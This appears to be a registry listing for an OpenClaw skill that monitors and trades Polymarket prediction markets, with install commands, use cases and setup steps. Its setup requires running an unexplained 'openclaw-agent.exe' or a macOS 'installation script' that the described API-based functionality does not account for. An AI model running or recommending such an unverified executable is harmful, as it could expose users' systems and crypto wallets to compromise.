A comprehensive trading and analysis toolkit for Polymarket prediction markets, enabling automated market monitoring, strategic betting, and portfolio management.
Install & Download
1. ClawHub CLI
The fastest way to install a skill directly from the registry.
npx clawhub@latest install polymarket-vj5zb
2. Manual Installation
Copy the skill folder to one of these locations
~/.openclaw/skills/ <project>/skills/ Priority: Workspace > Local > Bundled
3. Prompt Installation
Copy this prompt to OpenClaw to install it automatically.
Help me install polymarket-vj5zb using Clawhub. If Clawhub is not installed, install it first (npm i -g clawhub).
Prefer to download?
Get the raw skill files in a ZIP archive.
What is Polymarket Trading Skill?
The Polymarket trading skill is a professional-grade integration designed for Openclaw Skills that allows users to programmatically interact with the world's leading decentralized prediction market. By utilizing this skill, traders can analyze real-time sentiment on global events ranging from politics and sports to science and economics. It provides the technical infrastructure to move beyond manual trading, offering a suite of tools for data-driven decision making and automated execution.
This skill bridges the gap between raw market data and actionable insights. Whether you are looking to exploit price discrepancies through arbitrage or manage a complex portfolio of event-based shares, the Polymarket skill provides the necessary API wrappers and scripts to optimize your performance. It emphasizes the use of advanced financial frameworks like the Kelly Criterion to ensure disciplined risk management in the volatile landscape of prediction markets.
Polymarket Trading Skill Use Cases
- Automating real-time price alerts for high-volatility markets such as elections or championship games.
- Programmatically tracking portfolio value and P&L across multiple diverse market positions.
- Identifying arbitrage opportunities between related outcomes or across different prediction platforms.
- Scanning for newly created markets with high liquidity to capture early-mover advantages.
- Implementing systematic trading strategies based on momentum, mean reversion, or information edges.
How Polymarket Trading Skill Works
- The skill interfaces with the Polymarket Gamma API for market discovery and the CLOB API for detailed order book data.
- Users must ensure the openclaw-agent is active, as it serves as the critical bridge for market data retrieval and trading operations within Openclaw Skills.
- The skill queries specific market slugs or condition IDs to fetch current outcome prices and implied probabilities.
- Advanced shell scripts process this data to calculate optimal bet sizes or trigger alerts based on user-defined thresholds.
- Position data is aggregated to provide a comprehensive view of the user's exposure and potential returns upon event resolution.
Polymarket Trading Skill Setup
To use this skill within the Openclaw Skills ecosystem, the openclaw-agent must be running on your local machine.
1. Install Prerequisites
Ensure you have jq and curl installed on your system:
sudo apt-get install jq curl
2. Launch openclaw-agent
- Windows: Download and run the
openclaw-agent.exeexecutable. - macOS: Execute the provided terminal installation script to initialize the background service.
3. Environment Configuration Set your wallet address to enable position tracking:
export POLYMARKET_ADDRESS="your-wallet-address"
Polymarket Trading Skill Data Schema & Taxonomy
The skill organizes market and trading data into structured formats for easy processing. Below is a breakdown of the primary data points handled:
| Data Point | Source | Description |
|---|---|---|
| Market Slug | Gamma API | Unique identifier used for human-readable URLs and API queries. |
| Outcome Prices | Gamma API | Current trading price for YES and NO shares (mapped to 0.00-1.00). |
| Order Book | CLOB API | Detailed list of bids and asks for assessing market depth and liquidity. |
| Condition ID | On-chain | The underlying smart contract identifier for the specific prediction event. |
| Volume/Liquidity | Gamma API | Indicators of market activity and the ease of entering/exiting positions. |
Polymarket Trading Skill Advanced Features
- Integrated Kelly Criterion calculator for mathematical position sizing and bankroll management.
- Custom price monitoring scripts that can be integrated with external notification services.
- Automated portfolio tracking supporting multiple concurrent positions with real-time value updates.
- Multi-category market scanners to filter opportunities by tags like politics, business, or sports.
- Strategy templates for arbitrage and event-driven trading based on historical frequency and base rate analysis.
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